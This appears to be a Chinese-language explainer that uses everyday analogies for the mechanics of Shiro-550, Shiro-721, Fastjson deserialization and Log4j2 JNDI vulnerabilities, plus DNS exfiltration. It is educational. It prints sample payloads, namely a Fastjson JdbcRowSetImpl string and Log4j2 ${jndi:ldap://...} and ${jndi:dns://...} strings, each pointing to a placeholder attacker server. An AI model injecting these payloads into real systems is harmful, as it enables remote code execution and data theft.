通俗理解系列 (1)—— 常见漏洞原理
1. Shiro-550(“Remember me”的漏洞)
通俗解释:就像你家小区的门禁卡被伪造了。
- Shiro是一个Java的安全框架,负责做登录验证和权限管理。它的“记住我”功能(Remember Me)非常常见,就是登录网站时会勾选的“下次自动登录”。
- 原理:
- 正常流程:第一次成功登录后,服务器会给你一个“加密的门禁卡”(一个叫Cookie的东西)。这个卡里加密了你的身份信息(比如用户名)。下次你来,出示这张卡,服务器会先解密,确认是你的卡,就让你进去了。
- 漏洞出在哪:Shiro用的加密密钥(AES密钥)是硬编码在代码里的,就像小区的门禁系统用的是一把全世界都知道的、统一的万能钥匙。而且,它没有验证这个卡是谁签发的,只验证了解密后内容对不对。
- 攻击方式:攻击者可以自己伪造一张门禁卡(比如写上一个叫“管理员”的身份),然后用那个众所周知的“万能密钥”加密一下,做成一张假的VIP门禁卡。他把这张假卡递给服务器,服务器用“万能密钥”一解密,哎,内容没问题(确实是“管理员”三个字),就以为他是管理员,直接放行了。
- 核心问题:默认密钥 + 缺乏签名验证(无法分辨卡是真保安发的还是假保安发的)。
2. Shiro-721(“Remember me”的另一个漏洞)
通俗解释:就像小偷拿到了你的空白支票本,可以随便填金额。
- 它是什么? 这也是Shiro“记住我”功能的一个漏洞,但比550更高级、更危险。
- 原理:
- 这个版本的Shiro改进了,不再使用默认密钥(换了把新钥匙),但它用来加密你身份信息的那个数据(称为“序列化数据”),是可以被攻击者猜到的。
- 这就像你的“记住我”Cookie是一张支票。支票上有你的账号(序列化数据)和银行的防伪密文(加密签名)。
- 攻击方式(Padding Oracle Attack):攻击者不需要知道银行的密钥(加密钥匙),但他可以拿着这张支票,不停地、一点点地去试探银行(服务器):“我这么改一下,你们系统认不认?会不会报错?”服务器每次都会诚实地告诉他:“对不起,您提交的支票格式不对(Padding错误)”,或者“签名不对(Signature错误)”。攻击者就像一个小偷,通过无数次试探,最终摸索出了银行签发真支票的规则。然后他就能自己伪造出一张完全合法的、可以填上任何他想要的身份(比如管理员)的空白支票!
- 核心问题:服务器会返回不同的错误信息,攻击者利用这些“提示”反推出了加密规则。(服务器“话太多”)
3. Fastjson(“送货单”的漏洞)
通俗解释:就像你让跑腿小哥按一张来历不明的送货单,去你家仓库里取一个危险的包裹并打开它。
- 它是什么? Fastjson是Java中一个非常快的、用来把对象转换成JSON字符串(序列化),或者把JSON字符串转回对象(反序列化)的工具库。
- 原理:
- 正常流程:你的网站(后端)有一个
User类,里面有name和age属性。你想把它传给前端,就把它变成JSON字符串:{"name":"张三", "age":18}。这个过程叫序列化(打包)。前端收到这个字符串,想变回一个对象来操作,这个过程叫反序列化(拆包)。 - 漏洞出在哪:Fastjson有一个特殊的特性:在反序列化(拆包)时,如果JSON字符串里指定了
@type属性,它就会去尝试加载并实例化这个指定的类。例如:{"@type":"com.xxx.User", "name":"张三", "age":18},它会去找到User这个类,然后创建一个对象。
- 正常流程:你的网站(后端)有一个
- 攻击方式:攻击者可以构造一个恶意的JSON字符串:
{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://黑客的服务器/exp", "autoCommit":true}这个字符串的意思是:“嘿Fastjson,你去帮我创建一个JdbcRowSetImpl类的对象,并顺带执行一下这个SQL查询(指向黑客的服务器)。”Fastjson真的会照做!它会去尝试连接攻击者控制的服务器,下载并执行恶意代码,从而完全控制你的服务器。 - 核心问题:反序列化过程过于自动化,盲目地根据输入内容去加载和调用任何类,没有做任何白名单限制。
4. Log4j2(“日志炸弹”漏洞)
通俗解释:就像你让一个特别听话的秘书,把用户填写的任何信息都原封不动地拿去查字典解释一遍,而用户写的是“去保险柜拿出所有文件并复印”。
- 它是什么? Log4j2是一个超级强大的Java日志记录工具。网站和系统用它来记录运行情况,比如谁在什么时候访问了什么。
- 原理:
- 正常流程:用户登录时输了错误的密码,系统会用Log4j2记录一条日志:
用户名[张三] 密码错误。 - 强大(也是危险)的功能:Log4j2有一个“ lookup ”功能,非常强大。它允许在日志消息中嵌入一些指令,让它去执行一些操作,比如:
${java:version}-> 它会替换成当前Java版本${jndi:ldap://example.com/a}-> 它会去这个LDAP服务器上查找一个资源。这本意是让日志内容更丰富,比如记录环境信息。
- 正常流程:用户登录时输了错误的密码,系统会用Log4j2记录一条日志:
- 攻击方式:攻击者在任何网站可以输入的地方(用户名、搜索框、请求头……),输入一个恶意指令:
${jndi:ldap://攻击者服务器/恶意代码}网站程序毫无防备,把这个字符串像普通文本一样记录到日志里。Log4j2这个“听话的秘书”看到这条日志后,心想:“哦,用户让我去查一下这个LDAP地址的东西”,于是它就真的去攻击者的服务器请求这个资源。而攻击者服务器返回的,正是一段可以远程执行的恶意代码,服务器就这样莫名其妙地执行了攻击者的代码。 - 核心问题:日志记录组件功能过于强大,默认开启了会执行远程指令的查找功能,并且对输入数据没有做任何过滤。
- 我们再用一个非常生活化的例子来解释 DNS外带(DNS Exfiltration)。
4.1 DNS外带(DNS Exfiltration)
通俗解释:就像间谍通过“问路”的方式,把秘密情报传递出去。
想象这样一个场景:
- 你是一个间谍,被困在一个守卫极其森严的军事基地里。
- 规则是:你不被允许直接寄信、打电话或使用任何常见的通讯方式出去。任何试图这样做的行为都会被门口的卫兵(防火墙)拦截和检查。
- 但是,基地有一条规定:任何人都可以向外面的人“问路”。比如,你可以写一张小纸条给门口的卫兵,上面写:“请问去
<某个地址>怎么走?”。卫兵不会怀疑这有什么问题,他会乖乖地把这个“问路”的请求传给外面的向导,然后把向导的回复带给你。
现在,你怎么利用这个规则把情报送出去呢?
你会这样做:
- 把情报藏在问题里:你想送出的情报是秘密代码“12345”。你把它伪装成一个地址。你写一张问路纸条:“请问去
12345.secret.server.com怎么走?” - 传递纸条:你把这张纸条交给卫兵。卫兵一看,这只是一个无害的“问路”请求,符合规定,于是他就把这个请求发给了外界的“域名解析系统(DNS服务器)”,询问“
12345.secret.server.com这个地址存在吗?” - 外界同伙接收:在外界,有你的同伙控制着一个服务器(
secret.server.com)。这个服务器会收到卫兵发来的问路请求:“有人想知道12345.secret.server.com的地址”。 - 解读情报:你的同伙看到这个请求后,立刻就能从问询的域名中提取出你要传递的情报:“12345”。
- 完成传递:最后,同伙的服务器随便回复一个“不知道这条路”的消息给卫兵,卫兵再把这个无关紧要的回复带给你。整个过程中,核心情报“12345”已经神不知鬼不觉地成功泄露了。卫兵(防火墙)完全被蒙在鼓里,因为他认为这只是一次普通的、无害的问路。
一个著名的应用场景:Log4j2漏洞
还记得刚才说的Log4j2漏洞吗?攻击者可以注入类似 ${jndi:ldap://恶意服务器/a}的指令让服务器去执行。
如果内网防火墙阻止了LDAP协议,攻击者可能会换成DNS协议,注入这样的指令:${jndi:dns://数据.恶意服务器.com/}。
这样,当Log4j2去执行这个“查询”时,就会发起一次DNS外带请求,攻击者就能收到信号,从而确认这个网站存在Log4j2漏洞。这甚至是漏洞利用的第一步——探测。
为什么这种攻击很阴险?
- 高度隐蔽: DNS流量太常见了,就像城市里每天都有成千上万的人问路,卫兵根本不会逐一审查每个问路请求。安全设备也很难区分哪些是正常的DNS查询,哪些是夹带私货的。
- 通常畅通无阻: 很少有防火墙会禁止DNS查询(端口53),否则整个网络都无法上网了。这就给攻击者留下了一个“默认开放的后门”。
- 慢,但有效: 这种方式传输数据速度很慢(一次查询只能带一点数据),但对于窃取核心机密(比如密钥、配置文件)来说,已经足够了。